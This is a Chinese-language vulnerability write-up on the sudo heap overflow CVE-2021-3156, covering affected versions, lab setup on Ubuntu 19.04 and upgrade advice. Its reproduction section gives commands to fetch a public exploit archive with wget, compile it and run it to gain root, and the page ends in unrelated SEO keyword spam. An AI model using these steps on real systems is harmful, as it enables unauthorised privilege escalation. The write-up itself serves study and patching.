千家信息网

Sudo溢出漏洞CVE-2021-3156的示例分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关 Sudo溢出漏洞CVE-2021-3156的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00简
千家信息网最后更新 2026年10月31日Sudo溢出漏洞CVE-2021-3156的示例分析

本篇文章给大家分享的是有关 Sudo溢出漏洞CVE-2021-3156的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

0x00简介

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt、reboot、su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

0x01漏洞概述

2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为"Baron Samedit"),可导致本地权限提升。

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

0x02影响范围

sudo 1.8.2 - 1.8.31p2

sudo 1.9.0 - 1.9.5p1

0x03环境搭建

本次环境使用ubuntu19.04版本

1、官方下载地址:http://old-releases.ubuntu.com/releases/19.04/

2、使用Vmware虚拟机安装最小安装即可。(具体安装过程自行百度)

0x04漏洞复现

1、在终端输入sudo -version查看sudo版本,使用whoami查看当前用户

2、使用GitHub上的exp进行漏洞利用,使用wget或git进行下载

wget https://hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip

unzip main.zip

3、进入解压的目录,使用make编译成可执行文件

cd CVE-2021-3156-main/

make

4、执行编译出来的文件后面加上ubuntu执行可以看到已经是root权限了(使用Debian的系统也可以)

./sudo-hax-me-a-sandwich ubuntu

0x05修复建议

目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。

下载地址:https://www.sudo.ws/download.html

以上就是 Sudo溢出漏洞CVE-2021-3156的示例分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

漏洞 用户 命令 系统 文件 权限 版本 管理 示例 分析 地址 官方 更多 环境 知识 篇文章 缓冲区 身份 影响 缓冲 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网是第几次科技革命的成果 科技赋能下的互联网金融 互联网属科技 互联网扶贫科技 互联网科技公司电话 时间互联网络科技 互联网科技logo 互联网科技宣传片 湖北码尼互联网科技有限公司电话 翼展科技 首家互联网医院 徐州市互联网科技有限公司 2021互联网科技公司排名 梅州GM互联网络科技有限公司 四川互联网展示科技馆设计 易企秀互联网科技是做什么的 中国科技和美国互联网 互联网时代高科技布局 平安好医生打造互联网科技医疗 重庆科技产业互联网有哪些 前海云享互联网科技 百单网互联网科技有限公司怎么样 科技互联网产品 新华互联网科技学院 中国 科技 互联网 万易互联网科技有限公司 新华互联网科技校企合作 洛阳昕诺飞互联网科技有限公司 天津腾达互联网科技有限公司 工业互联网展湾科技股份有限公司 互联网科技和医药行业
0